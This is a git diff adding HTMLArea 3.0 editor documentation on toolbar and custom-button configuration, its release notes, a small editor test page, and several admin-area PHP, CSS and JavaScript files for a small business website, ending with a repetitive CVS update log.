+  '<span class="string">p { font-width: bold; } </span>';
+
+<span class="comment">// the following replaces the textarea with the given id with a new
+// HTMLArea object having the specified configuration
+</span>HTMLArea.replace('<span class="string">id</span>', config);</pre>
+
+<p><span class="warning">Important:</span> It's recommended that you add
+custom features and configuration to a separate file.  This will ensure you
+that when we release a new official version of HTMLArea you'll have less
+trouble upgrading it.</p>
+
+<h3>How do I customize the toolbar?</h3>
+
+<p>Using the configuration object introduced above allows you to completely
+control what the toolbar contains.  Following is an example of a one-line,
+customized toolbar, much simpler than the default one:</p>
+
+<pre class="code"
+><span class="keyword">var</span> <span class="variable-name">config</span> = <span class="keyword">new</span> HTMLArea.Config();
+config.toolbar = [
+  ['<span class="string">fontname</span>', '<span class="string">space</span>',
+   '<span class="string">fontsize</span>', '<span class="string">space</span>',
+   '<span class="string">formatblock</span>', '<span class="string">space</span>',
+   '<span class="string">bold</span>', '<span class="string">italic</span>', '<span class="string">underline</span>']
+];
+HTMLArea.replace('<span class="string">id</span>', config);</pre>
+
+<p>The toolbar is an Array of Array objects.  Each array in the toolbar
+defines a new line.  The default toolbar looks like this:</p>
+
+<pre class="code"
+>config.toolbar = [
+[ &quot;<span class="string">fontname</span>&quot;, &quot;<span class="string">space</span>&quot;,
+  &quot;<span class="string">fontsize</span>&quot;, &quot;<span class="string">space</span>&quot;,
+  &quot;<span class="string">formatblock</span>&quot;, &quot;<span class="string">space</span>&quot;,
+  &quot;<span class="string">bold</span>&quot;, &quot;<span class="string">italic</span>&quot;, &quot;<span class="string">underline</span>&quot;, &quot;<span class="string">separator</span>&quot;,
+  &quot;<span class="string">strikethrough</span>&quot;, &quot;<span class="string">subscript</span>&quot;, &quot;<span class="string">superscript</span>&quot;, &quot;<span class="string">separator</span>&quot;,
+  &quot;<span class="string">copy</span>&quot;, &quot;<span class="string">cut</span>&quot;, &quot;<span class="string">paste</span>&quot;, &quot;<span class="string">space</span>&quot;, &quot;<span class="string">undo</span>&quot;, &quot;<span class="string">redo</span>&quot; ],
+               
+[ &quot;<span class="string">justifyleft</span>&quot;, &quot;<span class="string">justifycenter</span>&quot;, &quot;<span class="string">justifyright</span>&quot;, &quot;<span class="string">justifyfull</span>&quot;, &quot;<span class="string">separator</span>&quot;,
+  &quot;<span class="string">insertorderedlist</span>&quot;, &quot;<span class="string">insertunorderedlist</span>&quot;, &quot;<span class="string">outdent</span>&quot;, &quot;<span class="string">indent</span>&quot;, &quot;<span class="string">separator</span>&quot;,
+  &quot;<span class="string">forecolor</span>&quot;, &quot;<span class="string">hilitecolor</span>&quot;, &quot;<span class="string">textindicator</span>&quot;, &quot;<span class="string">separator</span>&quot;,
+  &quot;<span class="string">inserthorizontalrule</span>&quot;, &quot;<span class="string">createlink</span>&quot;, &quot;<span class="string">insertimage</span>&quot;, &quot;<span class="string">inserttable</span>&quot;, &quot;<span class="string">htmlmode</span>&quot;, &quot;<span class="string">separator</span>&quot;,
+  &quot;<span class="string">popupeditor</span>&quot;, &quot;<span class="string">separator</span>&quot;, &quot;<span class="string">showhelp</span>&quot;, &quot;<span class="string">about</span>&quot; ]
+];</pre>
+
+<p>Except three strings, all others in the examples above need to be defined
+in the <code>config.btnList</code> object (detailed a bit later in this
+document).  The three exceptions are: 'space', 'separator' and 'linebreak'.
+These three have the following meaning, and need not be present in
+<code>btnList</code>:</p>
+
+<ul>
+  <li>'space' -- Inserts a space of 5 pixels (the width is configurable by external
+  <acronym title="Cascading Style Sheets">CSS</acronym>) at the current
+  position in the toolbar.</li>
+  <li>'separator' -- Inserts a small vertical separator, for visually grouping related
+  buttons.</li>
+  <li>'linebreak' -- Starts a new line in the toolbar.  Subsequent controls will be
+  inserted on the new line.</li>
+</ul>
+
+<p><span class="warning">Important:</span> It's recommended that you add
+custom features and configuration to a separate file.  This will ensure you
+that when we release a new official version of HTMLArea you'll have less
+trouble upgrading it.</p>
+
+<h3>How do I create custom buttons?</h3>
+
+<p>By design, the toolbar is easily extensible.  For adding a custom button
+one needs to follow two steps.</p>
+
+<h4 id="regbtn">1. Register the button in <code>config.btnList</code>.</h4>
+
+<p>For each button in the toolbar, HTMLArea needs to know the following
+information:</p>
+<ul>
+  <li>a name for it (we call it the ID of the button);</li>
+  <li>the path to an image to be displayed in the toolbar;</li>
+  <li>a tooltip for it;</li>
+  <li>whether the button is enabled or not in text mode;</li>
+  <li>what to do when the button is clicked;</li>
+</ul>
+<p>You need to provide all this information for registering a new button
+too.  The button ID can be any string identifier and it's used when
+defining the toolbar, as you saw above.  We recommend starting
+it with "my-" so that it won't clash with the standard ID-s (those from
+the default toolbar).</p>
+
+<p class="note">Register button example #1</p>
+
+<pre class="code"
+><span class="comment">// get a default configuration
+</span><span class="keyword">var</span> <span class="variable-name">config</span> = <span class="keyword">new</span> HTMLArea.Config();
+<span class="comment">// register the new button using Config.registerButton.
+// parameters:        button ID,   tooltip,          image,           textMode,
+</span>config.registerButton(&quot;<span class="string">my-hilite</span>&quot;, &quot;<span class="string">Highlight text</span>&quot;, &quot;<span class="string">my-hilite.gif</span>&quot;, <span class="keyword">false</span>,
+<span class="comment">// function that gets called when the button is clicked
+</span>  <span class="keyword">function</span>(editor, id) {
+    editor.surroundHTML('<span class="string">&lt;span class=&quot;hilite&quot;&gt;</span>', '<span class="string">&lt;/span&gt;</span>');
+  }
+);</pre>
+
+<p>An alternate way of calling registerButton is exemplified above.  Though
+the code might be a little bit larger, using this form makes your code more
+maintainable.  It doesn't even needs comments as it's pretty clear.</p>
+
+<p class="note">Register button example #2</p>
+
+<pre class="code"
+><span class="keyword">var</span> <span class="variable-name">config</span> = <span class="keyword">new</span> HTMLArea.Config();
+config.registerButton({
+  id        : &quot;<span class="string">my-hilite</span>&quot;,
+  tooltip   : &quot;<span class="string">Highlight text</span>&quot;,
+  image     : &quot;<span class="string">my-hilite.gif</span>&quot;,
+  textMode  : <span class="keyword">false</span>,
+  action    : <span class="keyword">function</span>(editor, id) {
+                editor.surroundHTML('<span class="string">&lt;span class=&quot;hilite&quot;&gt;</span>', '<span class="string">&lt;/span&gt;</span>');
+              }
+});</pre>
+
+<p>You might notice that the "action" function receives two parameters:
+<b>editor</b> and <b>id</b>.  In the examples above we only used the
+<b>editor</b> parameter.  But it could be helpful for you to understand
+both:</p>
+
+<ul>
+  <li><b>editor</b> is a reference to the HTMLArea object.  Since our entire
+  code now has an <acronym title="Object Oriented Programming">OOP</acronym>-like
+  design, you need to have a reference to
+  the editor object in order to do things with it.  In previous versions of
+  HTMLArea, in order to identify the object an ID was used -- the ID of the
+  HTML element.  In this version ID-s are no longer necessary.</li>
+
+  <li><b>id</b> is the button ID.  Wondering why is this useful?  Well, you
+  could use the same handler function (presuming that it's not an anonymous
+  function like in the examples above) for more buttons.  You can <a
+  href="#btnex">see an example</a> a bit later in this document.</li>
+</ul>
+
+<h4>2. Inserting it into the toolbar</h4>
+
+<p>At this step you need to specify where in the toolbar to insert the
+button, or just create the whole toolbar again as you saw in the previous
+section.  You use the button ID, as shown in the examples of customizing the
+toolbar in the previous section.</p>
+
+<p>For the sake of completion, following there are another examples.</p>
+
+<p class="note">Append your button to the default toolbar</p>
+
+<pre class="code"
+>config.toolbar.push([ &quot;<span class="string">my-hilite</span>&quot; ]);</pre>
+
+<p class="note">Customized toolbar</p>
+
+<pre class="code"
+>config.toolbar = [
+  ['<span class="string">fontname</span>', '<span class="string">space</span>',
+   '<span class="string">fontsize</span>', '<span class="string">space</span>',
+   '<span class="string">formatblock</span>', '<span class="string">space</span>',
+   '<span class="string">separator</span>', '<span class="string">my-hilite</span>', '<span class="string">separator</span>', '<span class="string">space</span>', <span class="comment">// here's your button
+</span>   '<span class="string">bold</span>', '<span class="string">italic</span>', '<span class="string">underline</span>', '<span class="string">space</span>']
+];</pre>
+
+<p><span class="note">Note:</span> in the example above our new button is
+between two vertical separators.  But this is by no means required.  You can
+put it wherever you like.  Once registered in the btnList (<a
+href="#regbtn">step 1</a>) your custom button behaves just like a default
+button.</p>
+
+<p><span class="warning">Important:</span> It's recommended that you add
+custom features and configuration to a separate file.  This will ensure you
+that when we release a new official version of HTMLArea you'll have less
+trouble upgrading it.</p>
+
+<h4 id="btnex">A complete example</h4>
+
+<p>Please note that it is by no means necessary to include the following
+code into the htmlarea.js file.  On the contrary, it might not work there.
+The configuration system is designed such that you can always customize the
+editor <em>from outside files</em>, thus keeping the htmlarea.js file
+intact.  This will make it easy for you to upgrade your HTMLArea when we
+release a new official version.  OK, I promise it's the last time I said
+this. ;)</p>
+
+<pre class="code"
+><span class="comment">// All our custom buttons will call this function when clicked.
+// We use the <b>buttonId</b> parameter to determine what button
+// triggered the call.
+</span><span class="keyword">function</span> <span class="function-name">clickHandler</span>(editor, buttonId) {
+  <span class="keyword">switch</span> (buttonId) {
+    <span class="keyword">case</span> &quot;<span class="string">my-toc</span>&quot;:
+      editor.insertHTML(&quot;<span class="string">&lt;h1&gt;Table Of Contents&lt;/h1&gt;</span>&quot;);
+      <span class="keyword">break</span>;
+    <span class="keyword">case</span> &quot;<span class="string">my-date</span>&quot;:
+      editor.insertHTML((<span class="keyword">new</span> Date()).toString());
+      <span class="keyword">break</span>;
+    <span class="keyword">case</span> &quot;<span class="string">my-bold</span>&quot;:
+      editor.execCommand(&quot;<span class="string">bold</span>&quot;);
+      editor.execCommand(&quot;<span class="string">italic</span>&quot;);
+      <span class="keyword">break</span>;
+    <span class="keyword">case</span> &quot;<span class="string">my-hilite</span>&quot;:
+      editor.surroundHTML(&quot;<span class="string">&lt;span class=\&quot;hilite\&quot;&gt;</span>&quot;, &quot;<span class="string">&lt;/span&gt;</span>&quot;);
+      <span class="keyword">break</span>;
+  }
+};
+
+<span class="comment">// Create a new configuration object
+</span><span class="keyword">var</span> <span class="variable-name">config</span> = <span class="keyword">new</span> HTMLArea.Config();
+
+<span class="comment">// Register our custom buttons
+</span>config.registerButton(&quot;<span class="string">my-toc</span>&quot;,  &quot;<span class="string">Insert TOC</span>&quot;, &quot;<span class="string">my-toc.gif</span>&quot;, <span class="keyword">false</span>, clickHandler);
+config.registerButton(&quot;<span class="string">my-date</span>&quot;, &quot;<span class="string">Insert date/time</span>&quot;, &quot;<span class="string">my-date.gif</span>&quot;, <span class="keyword">false</span>, clickHandler);
+config.registerButton(&quot;<span class="string">my-bold</span>&quot;, &quot;<span class="string">Toggle bold/italic</span>&quot;, &quot;<span class="string">my-bold.gif</span>&quot;, <span class="keyword">false</span>, clickHandler);
+config.registerButton(&quot;<span class="string">my-hilite</span>&quot;, &quot;<span class="string">Hilite selection</span>&quot;, &quot;<span class="string">my-hilite.gif</span>&quot;, <span class="keyword">false</span>, clickHandler);
+
+<span class="comment">// Append the buttons to the default toolbar
+</span>config.toolbar.push([&quot;<span class="string">linebreak</span>&quot;, &quot;<span class="string">my-toc</span>&quot;, &quot;<span class="string">my-date</span>&quot;, &quot;<span class="string">my-bold</span>&quot;, &quot;<span class="string">my-hilite</span>&quot;]);
+
+<span class="comment">// Replace an existing textarea with an HTMLArea object having the above config.
+</span>HTMLArea.replace(&quot;<span class="string">textAreaID</span>&quot;, config);</pre>
+
+
+<hr />
+<address>&copy; <a href="http://interactivetools.com" title="Visit our website"
+>InteractiveTools.com</a> 2002-2004.
+<br />
+© <a href="http://dynarch.com">dynarch.com</a> 2003-2004<br />
+HTMLArea v3.0 developed by <a
+href="http://dynarch.com/mishoo/">Mihai Bazon</a>.
+<br />
+Documentation written by Mihai Bazon.
+</address>
+<!-- hhmts start --> Last modified: Wed Jan 28 12:18:23 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+</body> </html>
diff --git a/admin/htmlarea/release-notes.html b/admin/htmlarea/release-notes.html
new file mode 100755 (executable)
index 0000000..d47dfb4
--- /dev/null
@@ -0,0 +1,208 @@
+<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 3.2//EN">
+<html xmlns="http://www.w3.org/1999/xhtml">
+  <head>
+    <title><% $basename %> release notes</title>
+    <style>
+      .fixme { color: red; }
+    </style>
+  </head>
+
+  <body>
+
+    <h1><% $basename %> release notes</h1>
+
+    <p>This release was compiled on <% $time %>.</p>
+
+    <h2>3.0-rc1</h2>
+
+    <p>Changes since 3.0-Beta:</p>
+
+    <ul>
+      <li>
+        <b>New plugins</b>
+        <ul>
+          <li>
+            ContextMenu plugin (provides a nice context menu with common
+            operations, including table ops, link ops, etc.)
+          </li>
+          <li>
+            CSS plugin (provides an easy way to insert/change CSS classes)
+          </li>
+          <li>
+            FullPage plugin (allows HTMLArea to edit a whole HTML file,
+            not only the content within &lt;body&gt;.)
+          </li>
+        </ul>
+      </li>
+      <li>
+        <b>Changes in the SpellChecker plugin</b>
+        <ul>
+          <li>
+            Many bugfixes: now it works ;-)  Fully Unicode-safe.
+          </li>
+          <li>
+            Speed and bandwidth optimization: reports the list of
+            suggestions only once for each mispelled word; this helps
+            in cases where you have, for instance, the word “HTMLArea”
+            in 10 places all over the document; the list of
+            suggestions for it--which is kind of huge--will only be
+            included <em>once</em>.
+          </li>
+          <li>
+            User interface improvements: the highlighted word will
+            remain in view; in cases where it's normally outside, the
+            window will be scrolled to it.
+          </li>
+          <li>
+            Added a "Revert" button for those that change their minds ;-)
+          </li>
+          <li>
+            Added a "Info" button which reports information about the
+            document, retrieved by the server-side spell checker:
+            total number of words, total number of mispelled words,
+            number of suggestions made, spell check time, etc.  More
+            can be easily added.  <span class="fixme">FIXME: this part
+            is not yet internationalized.</span>
+          </li>
+          <li>
+            The server-side spell checker now uses XML::DOM instead of
+            HTML::Parser, which means that it will be unable to parse
+            “tag-soup” HTML.  It needs valid code.  Usually HTMLArea
+            generates valid code, but on rare occasions it might fail
+            and the spell checker will report a gross error message.
+            This gonna have to be fixed, but instead of making the
+            spell checker accept invalid HTML I prefer to make
+            HTMLArea generate valid code, so changes are to be done in
+            other places ;-)
+          </li>
+        </ul>
+      </li>
+      <li>
+        <b>Changes in the core editor</b>
+        <ul>
+          <li>
+            Easier to setup: you only need to load
+            <tt>htmlarea.js</tt>; other scripts will be loaded
+            automatically.  <a href="reference.html">Documentation</a>
+            and <a href="examples/">examples</a> updated.
+          </li>
+          <li>
+            Better plugin support (they register information about
+            themselves with the editor; can register event handlers for
+            the editor, etc.)
+          </li>
+          <li>
+            New about box; check it out, it's cool ;-)
+          </li>
+          <li>
+            Word cleaner (can be enabled to automatically kill Word crap
+            on paste (see Config.killWordOnPaste); otherwise accessible by
+            pressing CTRL-0 in the editor; a toolbar button will come up
+            soon)
+          </li>
+          <li>
+            Image preview in "insert image" dialog.  Also allows
+            modification of current image, if selected.
+          </li>
+          <li>
+            New "insert link" dialog, allows target and title
+            specification, allows editing links.
+          </li>
+          <li>
+            Implemented support for text direction (left-to-right or
+            right-to-left).
+          </li>
+          <li>
+            Lots of bug fixes!  ... and more, I guess ;-) an
+            automatically generated <a href="ChangeLog">change log</a>
+            is now available.
+          </li>
+        </ul>
+      </li>
+    </ul>
+
+    <p>I don't have the power to go through the <a
+href="http://sourceforge.net/tracker/?atid=525656&group_id=69750&func=browse">bug
+system</a> at SourceForge
+    now.  Some of the bugs reported there may be fixed; I'll update
+    their status, some other time.  If you reported bugs there and now
+    find them to be fixed, please let me know.</p>
+
+    <h2>3.0-Beta</h2>
+
+    <p>Changes since 3.0-Alpha:</p>
+
+    <ul>
+
+      <li>Performance improvements.</li>
+
+      <li>Many bugs fixed.</li>
+
+      <li>Plugin infrastructure.</li>
+
+      <li>TableOperations plugin.</li>
+
+      <li>SpellChecker plugin.</li>
+
+      <li>Status bar.</li>
+
+      <li>API for registering custom buttons and drop-down boxes in the
+        toolbar.</li>
+
+      <li>Toolbar can contain text labels.</li>
+
+      <li>Cut, copy, paste, undo, redo buttons.</li>
+
+    </ul>
+<%doc>
+    <h2>Rationale for Beta</h2>
+
+    <p>Why was this released as "Beta"?  The code is quite stable and it
+    didn't deserve a "Beta" qualification.  However, there are some things
+    left to do for the real 3.0 version.  These things will not affect the
+    API to work with HTMLArea, in other words, you can install the Beta
+    right now and then install the final release without modifying your
+    code.  That's if you don't modify HTMLArea itself.  ;-)</p>
+
+    <h2>To-Do before 3.0 final</h2>
+
+    <ol>
+
+      <li>We should use a single popup interface.  Currently there are two:
+      dialog.js and popupwin.js; dialog.js emulates modal dialogs, which
+      sucks when you want to open "select-color" from another popup and not
+      from the editor itself.  Very buggy in IE.  We should probably use only
+      modeless dialogs (that is, popupwin.js).</li>
+
+      <li>Internationalization for the SpellChecker plugin.</li>
+
+      <li>Internationalization for the TableOperations plugin.</li>
+
+      <li>People who sent translations are invited to re-iterate through
+        their work and make it up-to-date with lang/en.js which is the main
+        lang file for HTMLArea-3.0.  Some things have changed but not all
+        translations are updated.</li>
+
+      <li><strong>Documentation</strong>.</li>
+
+    </ol>
+</%doc>
+    <hr />
+    <address><a href="http://dynarch.com/mishoo/">Mihai Bazon</a></address>
+<!-- Created: Sun Aug  3 16:55:08 EEST 2003 -->
+<!-- hhmts start --> Last modified: Sun Feb  1 13:16:10 EET 2004 <!-- hhmts end -->
+<!-- doc-lang: English -->
+  </body>
+</html>
+
+<%ARGS>
+  $project => 'HTMLArea'
+  $version => '3.0'
+  $release => 'rc1'
+  $basename => 'HTMLArea-3.0-rc1'
+</%ARGS>
+
+<%INIT>;
+use POSIX qw(strftime);
+my $time = strftime '%b %e, %Y [%H:%M] GMT', gmtime;
+</%INIT>
diff --git a/admin/htmlarea/tests/display-none.html b/admin/htmlarea/tests/display-none.html
new file mode 100755 (executable)
index 0000000..f70c0bb
--- /dev/null
@@ -0,0 +1,29 @@
+<html> 
+<head> 
+       <script> 
+               function breakit(){ 
+                       elem = document.getElementById('page1'); 
+                       elem.style.display = 'none' 
+                       elem.style.display = 'block'
+                       if (HTMLArea.is_gecko) {
+                               editor._doc.designMode = 'off';
+                               editor._doc.designMode = 'on';
+                               editor.focusEditor();
+                       }
+               } 
+               _editor_url = '/htmlarea/';
+               _editor_lang = 'en';
+       </script> 
+       <script type="text/javascript" src="/htmlarea/htmlarea.js"></script> 
+</head> 
+<body> 
+       <button onclick='breakit();'>Break It</button> 
+       <div id="page1" class="pagetext"> 
+               <textarea class="inputbox" cols="50" rows="20" name="introtext" id="introtext"></textarea> 
+       </div> 
+       <script language="JavaScript1.2" defer="defer"> 
+               var editor = new HTMLArea("introtext");  
+               editor.generate('introtext'); 
+       </script> 
+</body> 
+</html>
diff --git a/admin/index.phtml b/admin/index.phtml
new file mode 100755 (executable)
index 0000000..bbaf20c
--- /dev/null
@@ -0,0 +1,20 @@
+<?include("../setup.phtml")?>
+<html>
+<head>
+<title><?=SITENAME?> Administration</title>
+<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
+<frameset frameborder="0" framespacing="0" border="0" cols="145,*">
+<frame name="Nav"  src="nav.phtml" marginwidth="6" marginheight="0" scrolling="NO">
+<frame name="Main" src="splash.phtml"  marginwidth="6" marginheight="4" scrolling="AUTO">
+</frameset>
+</head>
+<noframes>
+<body>
+<p>Admin Requires Frames Capable Browser</p>
+<ul>You can get a Standard Compliant browser from:
+<li>Microsoft <a href="http://www.microsoft.com/windows/ie/">Internet Explorer</a></li>
+<li>Mozilla's <a href="http://www.mozilla.org/products/firefox/">Firefox</a></li>
+</ul>
+</body>
+</noframes>
+</html>
diff --git a/admin/main.css b/admin/main.css
new file mode 100755 (executable)
index 0000000..f6022a3
--- /dev/null
@@ -0,0 +1,57 @@
+body { background-color: #FFFFFF; }
+.navlink { font-size: 80%; font-family: arial; }
+TD { font-size: 11px; font-family: arial,helvetica; }
+INPUT { font-size: 12px; font-family: arial,helvetica; }
+SELECT { font-size: 12px; font-family: arial,helvetica; }
+OPTION { font-size: 12px; font-family: arial,helvetica; }
+TH { font-size: 11px; font-family: arial,helvetica; font-weight: bold; }
+.theader { font-size: 120%; font-family: arial,helvetica; color: #FFFFFF; }
+.text {        font-size: 100%; font-family: arial,helvetica; color: #000000; }
+.theadertd { background-color: #000080; }
+.pac_std_text  {  font-size: 12px; font-weight: normal; }
+.pac_bold_text  {  font-size: 12px; font-weight: bold; }
+.pac_std_small  {  font-size: 10px; font-weight: normal }
+.pac_bold_small  {  font-size: 10px; font-weight: bold }
+.pac_redtext { font-size: 12px; color: #CC0000 ; font-family: Arial, Helvetica, sans-serif; font-weight: normal; }
+.pac_redhead { font-size: 12px; font-weight: bold; color: #CC0000; font-family: Arial, Helvetica, sans-serif; }
+.title1 { font-size: 22px; font-weight: bold; color: blue; font-family: Arial, Helvetica, sans-serif; }
+.title2 { font-size: 22px; font-weight: bold; color: black; font-family: Arial, Helvetica, sans-serif; }
+
+INPUT { FONT-SIZE: 12px; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; }
+SELECT { FONT-SIZE: 12px; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; }
+.navlink {
+       font-size: 12px;
+       font-family: arial;
+}
+
+td {
+       font-size: 12px;
+       font-family: arial,helvetica;
+}
+
+.theader {
+       font-size: 14px;
+       font-family: arial,helvetica;
+       color: #FFFFFF;
+}
+
+.theadertd {
+       background-color: #000080;
+}
+
+.topheader {
+       font-family:ms sans serif,arial,helvetica;
+       font-size:12px;
+       color:#FFFFFF;  
+       font-weight:bold;
+}
+.footer {
+       text-align:center;
+       color:#999999;
+  font-size:10px;
+       width:600px;
+}
+/* TOOLBOX NAV */
+ul#toolbox {list-style-position:inside;list-style-type:circle;}
+ul#toolbox li {list-style-type:circle}
+ul#toolbox li.toolboxArrow {list-style-type:none;padding-left:0;margin-left:-7px;}
diff --git a/admin/msg.js b/admin/msg.js
new file mode 100755 (executable)
index 0000000..8ed837d
--- /dev/null
@@ -0,0 +1,29 @@
+function glm_confirm(o) {
+       var p = o.msg.split("\n");
+       var k = 0;
+       for(i = 0;i < p.length;i++) {
+               if(k > p[i].length)
+                       continue;
+               else 
+                       k = p[i].length;
+       }       
+       
+       var bound = "";
+       for(i = 0; i < k; i++) {
+               bound = bound+'_';
+       }
+       var str = bound+"\n\n"+o.msg+"\n\n"+bound+"\n\nAre You Sure?";
+       if(confirm(str)) {
+               if(o.popup == '1') {
+                       var nw = new Object();
+                       nw.url = o.url;
+                       nw.name = o.popup.name;
+                       nw.width = o.width;
+                       nw.height = o.height;
+                       glm_open(nw);
+               }
+               else {
+                       location.replace(o.url);
+               }
+       }
+}
diff --git a/admin/nav.phtml b/admin/nav.phtml
new file mode 100755 (executable)
index 0000000..b6e2886
--- /dev/null
@@ -0,0 +1,87 @@
+<?
+include("../setup.phtml");
+?>
+<html>
+<head>
+<title>Admin Navigation</title>
+<style type="text/css">
+<!-- 
+body {margin: 2px; font-family: arial, sans-serif; font-size: 12px; background-color: white;}
+a:link {color: #369;}
+a:visited {color: #369;}
+a:active {color: #369;}
+a:hover {color: #369;}
+h1 {font-weight: bold; text-align: center;}
+ul { margin: 0; padding: 0; list-style-type: none; }
+li { margin: 0; padding: 0; display: block;    }
+li a {
+       text-decoration: none; 
+       display: block; 
+       margin: 0;
+       padding: 3px; 
+       background-color: #036; 
+       border-bottom: 1px solid #eee;
+       width: 136px;
+       }
+li a:link, li a:visited, li a:active { color: #EEE; }
+li a:hover { background-color: #369; color: #fff; }
+#adminSupport {
+       margin: 15px 0;
+       }
+#adminSupport li a {
+       background: url(http://app.gaslightmedia.com/assets/icons/new.png) 120px 3px no-repeat #2c788f;
+       text-shadow: 1px 1px 1px #333;
+       }
+#adminSupport li a:hover {
+       background-color: #004c64;
+       }
+-->
+</style>
+</head>
+<body>
+       <h1><a href="<?php echo BASE_URL.$url;?>" target="_top"><?php echo SITENAME;?></a></h1>
+<ul>
+<?
+$nav["Home"] = "admin/splash.phtml";
+//$nav["Home Page"] = "";
+//$nav["Classified Ads"] = "";
+//$nav["Newsletter"] = "admin/Newsletter/list_news_category.phtml";
+//$nav["Employment Opportunities"] = "";
+//$nav["Events"] = "admin/Events/list_events.phtml";
+$nav["Toolbox"] = "admin/Toolbox/";
+$nav["File Exchange"] = "admin/FileExchange/";
+//$nav["Toolbox"] = "admin/Mini-Toolbox"; 
+//$nav["Banner Ads"] = "admin/Banners/";
+//$nav["Contacts"] = "admin/Contact/";
+$nav["Server Statistics"] = "admin/logs/";
+
+foreach($nav as $name=>$url)
+       {
+       echo '
+       <li><a href="'.BASE_URL.$url.'" target="Main">'.$name.'</a></li>
+               ';
+       }
+?>
+       <li><a href="https://www.google.com/analytics/web/?hl=en/" target="Google">Google Analytics</a>
+</ul>
+<?php
+$format = '<ul id="adminSupport">
+  <li>
+    <a href="%ssupportForm.php?sitename=%s" target="Main">Support Form</a>
+  </li>
+</ul>';
+if(!defined('GLM_APP_BASE_URL')){
+       define('GLM_APP_BASE_URL', 'http://app.gaslightmedia.com/');
+}
+if(!defined('SITENAME')) {
+       define('SITENAME', 'http://www.aretenorth.com/');
+}
+printf(
+    $format,
+    GLM_APP_BASE_URL,
+    urlencode(SITENAME)
+);
+?>
+<a href="http://www.gaslightmedia.com/" target="_blank"><img alt="GLMbug (3K)" src="GLMbug.gif" height="57" width="100" border="0"></a>
+</body>
+</html>
diff --git a/admin/phpinfo.php b/admin/phpinfo.php
new file mode 100644 (file)
index 0000000..3c6efe1
--- /dev/null
@@ -0,0 +1,4 @@
+<?
+phpinfo();
+exit;
+?>
diff --git a/admin/setup_log.txt b/admin/setup_log.txt
new file mode 100755 (executable)
index 0000000..14fa337
--- /dev/null
@@ -0,0 +1,238 @@
+U Toolbox/business.sql
+U Toolbox/edit_bus.phtml
+U Toolbox/edit_bus_category.phtml
+U Toolbox/index.phtml
+U Toolbox/list_bus.phtml
+U Toolbox/list_bus_category.phtml
+U Toolbox/threads.phtml
+U Toolbox/toolbox_setup.inc
+U Toolbox/update_bus.phtml
+U Toolbox/update_bus_category.phtml
+U Toolbox/updatetoolset.php
+U Toolbox/help/bus.phtml
+U Toolbox/help/buscat.phtml
+U Toolbox/help/closewindow.gif
+U Toolbox/help/helpbg.gif
+U Toolbox/images/collapse.png
+U Toolbox/images/ed_about.gif
+U Toolbox/images/ed_align_center.gif
+U Toolbox/images/ed_align_justify.gif
+U Toolbox/images/ed_align_left.gif
+U Toolbox/images/ed_align_right.gif
+U Toolbox/images/ed_blank.gif
+U Toolbox/images/ed_charmap.gif
+U Toolbox/images/ed_color_bg.gif
+U Toolbox/images/ed_color_fg.gif
+U Toolbox/images/ed_copy.gif
+U Toolbox/images/ed_custom.gif
+U Toolbox/images/ed_cut.gif
+U Toolbox/images/ed_delete.gif
+U Toolbox/images/ed_format_bold.gif
+U Toolbox/images/ed_format_italic.gif
+U Toolbox/images/ed_format_strike.gif
+U Toolbox/images/ed_format_sub.gif
+U Toolbox/images/ed_format_sup.gif
+U Toolbox/images/ed_format_underline.gif
+U Toolbox/images/ed_help.gif
+U Toolbox/images/ed_hr.gif
+U Toolbox/images/ed_html.gif
+U Toolbox/images/ed_image.gif
+U Toolbox/images/ed_indent_less.gif
+U Toolbox/images/ed_indent_more.gif
+U Toolbox/images/ed_link.gif
+U Toolbox/images/ed_list_bullet.gif
+U Toolbox/images/ed_list_num.gif
+U Toolbox/images/ed_paste.gif
+U Toolbox/images/ed_redo.gif
+U Toolbox/images/ed_show_border.gif
+U Toolbox/images/ed_splitcel.gif
+U Toolbox/images/ed_undo.gif
+U Toolbox/images/expand.png
+U Toolbox/images/fullscreen_maximize.gif
+U Toolbox/images/fullscreen_minimize.gif
+U Toolbox/images/insert_table.gif
+U Toolbox/popups/about.html
+U Toolbox/popups/blank.html
+U Toolbox/popups/custom2.html
+U Toolbox/popups/editor_help.html
+U Toolbox/popups/fullscreen.html
+U Toolbox/popups/insert_image.html
+U Toolbox/popups/insert_table.html
+U Toolbox/popups/old-fullscreen.html
+U Toolbox/popups/old_insert_image.html
+U Toolbox/popups/popup.js
+U Toolbox/popups/select_color.html
+
+
+U Toolbox/business.sql
+U Toolbox/edit_bus.phtml
+U Toolbox/edit_bus_category.phtml
+U Toolbox/index.phtml
+U Toolbox/list_bus.phtml
+U Toolbox/list_bus_category.phtml
+U Toolbox/threads.phtml
+U Toolbox/toolbox_setup.inc
+U Toolbox/update_bus.phtml
+U Toolbox/update_bus_category.phtml
+U Toolbox/updatetoolset.php
+U Toolbox/help/bus.phtml
+U Toolbox/help/buscat.phtml
+U Toolbox/help/closewindow.gif
+U Toolbox/help/helpbg.gif
+U Toolbox/images/collapse.png
+U Toolbox/images/ed_about.gif
+U Toolbox/images/ed_align_center.gif
+U Toolbox/images/ed_align_justify.gif
+U Toolbox/images/ed_align_left.gif
+U Toolbox/images/ed_align_right.gif
+U Toolbox/images/ed_blank.gif
+U Toolbox/images/ed_charmap.gif
+U Toolbox/images/ed_color_bg.gif
+U Toolbox/images/ed_color_fg.gif
+U Toolbox/images/ed_copy.gif
+U Toolbox/images/ed_custom.gif
+U Toolbox/images/ed_cut.gif
+U Toolbox/images/ed_delete.gif
+U Toolbox/images/ed_format_bold.gif
+U Toolbox/images/ed_format_italic.gif
+U Toolbox/images/ed_format_strike.gif
+U Toolbox/images/ed_format_sub.gif
+U Toolbox/images/ed_format_sup.gif
+U Toolbox/images/ed_format_underline.gif
+U Toolbox/images/ed_help.gif
+U Toolbox/images/ed_hr.gif
+U Toolbox/images/ed_html.gif
+U Toolbox/images/ed_image.gif
+U Toolbox/images/ed_indent_less.gif
+U Toolbox/images/ed_indent_more.gif
+U Toolbox/images/ed_link.gif
+U Toolbox/images/ed_list_bullet.gif
+U Toolbox/images/ed_list_num.gif
+U Toolbox/images/ed_paste.gif
+U Toolbox/images/ed_redo.gif
+U Toolbox/images/ed_show_border.gif
+U Toolbox/images/ed_splitcel.gif
+U Toolbox/images/ed_undo.gif
+U Toolbox/images/expand.png
+U Toolbox/images/fullscreen_maximize.gif
